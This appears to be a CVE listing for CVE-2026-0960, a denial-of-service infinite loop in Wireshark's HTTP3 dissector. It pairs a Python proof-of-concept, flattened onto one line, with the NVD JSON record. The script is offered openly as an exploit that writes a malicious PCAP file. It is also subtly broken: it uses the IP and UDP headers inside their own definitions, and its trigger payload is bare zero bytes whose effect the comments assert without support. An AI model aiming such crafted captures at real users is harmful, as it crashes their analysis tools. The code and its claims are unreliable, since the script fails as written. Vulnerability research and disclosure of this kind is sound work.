CVE-2026-0960

import struct def create_malicious_pcap(): """ Generate a malicious PCAP file that triggers CVE-2026-0960 Wireshark HTTP3 protocol dissector infinite loop """ # PCAP Global Header pcap_header = struct.pack('<IHHiIII', 0xa1b2c3d4, # Magic number 2, # Major version 4, # Minor version 0, # Timezone 0, # Timestamp accuracy 65535, # Snap length 1 # Link layer type (Ethernet) ) # Malicious packet that triggers infinite loop in HTTP3 dissector # This packet has malformed HTTP3 headers that confuse the parser malformed_http3 = b'\x00' * 100 # Padding to trigger parsing loop malformed_http3 += b'\x00\x00\x00' # Malformed header that causes infinite loop # IP Header ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, # Version and IHL 0, # TOS len(ip_header + malformed_http3) + 14, # Total length 0, # ID 0, # Flags and Fragment 64, # TTL 17, # Protocol (UDP) 0, # Checksum b'\xc0\xa8\x01\x01', # Source IP b'\xc0\xa8\x01\x02' # Dest IP ) # UDP Header udp_header = struct.pack('!HHHH', 12345, # Source port 4433, # Dest port (HTTP3 port) len(udp_header + malformed_http3), # Length 0 # Checksum ) # Ethernet Header eth_header = b'\x00\x11\x22\x33\x44\x55' + b'\x66\x77\x88\x99\xaa\xbb' + b'\x08\x00' # Packet data packet_data = eth_header + ip_header + udp_header + malformed_http3 # PCAP Packet Header packet_header = struct.pack('<IIII', 0, # Timestamp seconds 0, # Timestamp microseconds len(packet_data), # Captured length len(packet_data) # Original length ) with open('CVE-2026-0960.poc.pcap', 'wb') as f: f.write(pcap_header) f.write(packet_header) f.write(packet_data) print("Malicious PCAP file created: CVE-2026-0960.poc.pcap") if __name__ == '__main__': create_malicious_pcap()

{"cve": {"id": "CVE-2026-0960", "sourceIdentifier": "[email protected]", "published": "2026-01-14T21:15:52.903", "lastModified": "2026-01-21T20:07:19.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTTP3 protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.2 allows denial of service"}, {"lang": "es", "value": "El disector del protocolo HTTP3 con bucle infinito en Wireshark 4.6.0 a 4.6.2 permite la denegación de servicio"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.13", "matchCriteriaId": "16FECE03-940B-47CD-895B-7D9485F05357"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.3", "matchCriteriaId": "60A9FC59-FB67-46A7-9A4B-EE8FCC8CE24A"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/20944", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}